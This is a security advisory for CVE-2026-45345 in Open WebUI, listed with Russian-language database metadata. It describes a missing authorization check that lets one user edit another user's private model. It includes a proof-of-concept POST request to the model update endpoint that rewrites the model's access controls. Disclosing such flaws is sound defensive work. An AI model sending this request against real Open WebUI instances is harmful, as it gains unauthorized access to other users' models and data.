GHSA-gm54-m39w-grjp

Опубликовано: 14 мая 2026

Источник: github

Github: Прошло ревью

CVSS3: 6.5

Описание

Open WebUI missing authorization check at the model update function - models from other users can be updated

Summary

A user can modify another user's model even if its visibility is set to Private. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.

Details / PoC

The user Victim created a private model with the visibility set to private: grafik

The user Attacker can edit this model using the following POST request:

POST /api/v1/models/model/update?id=aaabraaa HTTP/2 Host: domain.local //Some headers removed Te: trailers {"id":"aaabraaa","base_model_id":"gpt-4o-POC","name":"testmodel","meta":{"profile_image_url":"/static/favicon.png","description":"","capabilities":{"vision":true,"usage":false,"citations":true},"suggestion_prompts":null,"tags":[],"toolIds":["test"]},"params":{},"user_id":"565c82e6-083f-42bb-bf0f-a4e214cfb9ad","access_control":{"read":{"group_ids":[],"user_ids":[]},"write":{"group_ids":[],"user_ids":[]}},"is_active":true,"updated_at":1737314575,"created_at":1737121281}

Request / Response grafik

Impact

A user can modify another user's model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained.

Ссылки

Пакеты

Наименование

open-webui

pip

Затронутые версииВерсия исправления

<= 0.5.6

0.5.7

EPSS

Процентиль: 13%

0.00226

Низкий

6.5 Medium

CVSS3

CVE ID

CVE-2026-45345

Дефекты

CWE-285

Связанные уязвимости

CVE-2026-45345

CVSS3: 6.5

nvd

3 месяца назад

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.5.7, a user can modify another user's model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained. This vulnerability is fixed in 0.5.7.

BDU:2026-07134

CVSS3: 6.5

fstec

3 месяца назад

Уязвимость веб-интерфейса на базе искуственного интеллекта Open WebUI, связанная с недостатками процедуры авторизации, позволяющая нарушителю повысить свои привилегии и раскрыть защищаемую информацию

EPSS

Процентиль: 13%

0.00226

Низкий

6.5 Medium

CVSS3

CVE ID

CVE-2026-45345

Дефекты

CWE-285